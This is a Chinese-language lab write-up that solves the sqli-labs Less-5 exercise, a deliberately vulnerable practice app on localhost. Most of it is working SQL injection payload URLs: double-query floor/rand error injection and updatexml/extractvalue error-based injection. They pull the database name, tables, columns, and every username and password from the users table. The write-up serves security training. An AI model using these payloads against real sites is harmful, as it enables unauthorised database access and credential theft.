sqli-labs Less-5
本来打算一天两天完成一关,但是摆了一天就想摆第二天,结果摆了好多天,加上less-5比起前几关难度有所提高当时第一次上手并未做完,放了很多天今天终于想起来接着搞less-5
PS:这一章有两种思路,第一种是我自己摸索着做的但是其存在最后不能将username和password以一行形式全部显示的问题,大家可以跳过前半部分直接看后半部分参考大佬思路的解决方案,我写出来只是为了给自己做一下记录
自己摸索的步骤
来到第五关,老规矩判断一下闭合类型
http://localhost/sqli-labs/Less-5/index.php?id=1
http://localhost/sqli-labs/Less-5/index.php?id=1'
发现还是单引号闭合,接着往下判断
http://localhost/sqli-labs/Less-5/index.php?id=1' and 1=1 --+
http://localhost/sqli-labs/Less-5/index.php?id=1' and 1=2 --+
发现只有You are in…和无显示两种界面,正确情况也不会有数据显示,第一反应就是采取盲注,但是盲注过程实在麻烦,不到万不得已不想花时间尝试,就查了查资料发现可以用双注入解这一关
老规矩判断一下字段数(不断调整数字大小直到报错就可以得出字段)
http://localhost/sqli-labs/Less-5/index.php?id=1' order by 3 --+
http://localhost/sqli-labs/Less-5/index.php?id=1' order by 4 --+
之后的过程就和前几关不一样了,需要采取双注入模式,这里也简单记录一下理解的双注入
这里需要用到几个函数:
rand():随机输出一个小于1的正数
floor():输出结果向下取整
concat():把两条语句连接在一起
group by:分组输出
count():汇总数据,统计
注入关键知识点:在聚合函数中,有floor和rand函数时,count函数后面如果使用分组语句会把部分查询以错误形式显示出来
关键语句:
select count(*),concat((payload), floor(rand(0)*2)) as a from information_schema.tables group by a
获取数据库名称:
http://localhost/sqli-labs/Less-5/index.php?id=1' union select 1, count(*),concat((select database()),floor(rand(0)*2)) as a from information_schema.tables group by a--+
获取数据库字段:
http://localhost/sqli-labs/Less-5/index.php?id=1' union select 1, count(*),concat((select table_name),floor(rand()*2)) as a from information_schema.tables group by a--+
这里要注意一下因为rand函数提供随机值,所以可能出现不报错或报错里的信息不是我们需要的,多执行几次并记录得到我们需要的字段
获取users表字段:
http://localhost/sqli-labs/Less-5/index.php?id=1' union select 1, count(*), concat((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),floor(rand()*2)) as a from information_schema.columns group by a --+
也需要多执行几次
获取username和password:
http://localhost/sqli-labs/Less-5/index.php?id=1' union select 1, count(*),concat((select username from users limit 1,1),floor(rand()*2)) as a from information_schema.tables group by a --+
这里就出现了一次只能显示一个用户名或者密码的问题,而且因为rand函数存在不一定每次都会报错出现能用的信息
采取以下语句时又会出现始终无法报错的情况,很费解
http://localhost/sqli-labs/Less-5/index.php?id=1' union select 1, count(*),concat((select group_concat(username) from users ),floor(rand()*2)) as a from information_schema.tables group by a --+
尝试了多次发现无法写出正确的以此作为思路的能显示多个用户名密码的语句,之后再研究研究吧,大家可以看第二种思路
参考大佬思路
判断闭合,注入类型,字段数的过程都一样就不重复了,重点在于双注入语句和使用的函数
查询数据库:
http://localhost/sqli-labs/Less-5/index.php?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
或者:
http://localhost/sqli-labs/Less-5/index.php?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e))--+
这里用到了updatexml()或extractvalue()函数,语句一下比我之前的逻辑简单了许多
关于updatexml()和extractvalue()函数:
这两个函数是mysql对xml文档数据进行查询和修改的XPATH函数,其作用是改变xml文档中符合条件的节点的值
语法:
updatexml(xml_document,xpath_string,new_value)
extractvalue(xml_document,xpath_string)
解释:
xml_document:string格式,xml文档对象的名称
xpath_string:xpath格式的字符串
new_value:string格式,替换查找到的符合条件的值
利用点:
Xpath定位必须有效,否则会有错误
所以在注入语句中将部分内容替换为1,使其为无效定位,导致错误显示
获取表名:
http://localhost/sqli-labs/Less-5/index.php?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e))--+
或者:
http://localhost/sqli-labs/Less-5/index.php?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+
获取users表字段:
http://localhost/sqli-labs/Less-5/index.php?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)--+
或者:
http://localhost/sqli-labs/Less-5/index.php?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e))--+
获取username:
http://localhost/sqli-labs/Less-5/index.php?id=1' and updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1)--+
或者:
http://localhost/sqli-labs/Less-5/index.php?id=1' and extractvalue(1,concat(0x7e,(select group_concat(username) from users),0x7e))--+
获取password:
http://localhost/sqli-labs/Less-5/index.php?id=1' and updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1)--+
或者:
http://localhost/sqli-labs/Less-5/index.php?id=1' and extractvalue(1,concat(0x7e,(select group_concat(password) from users),0x7e))--+
搞定,舒服了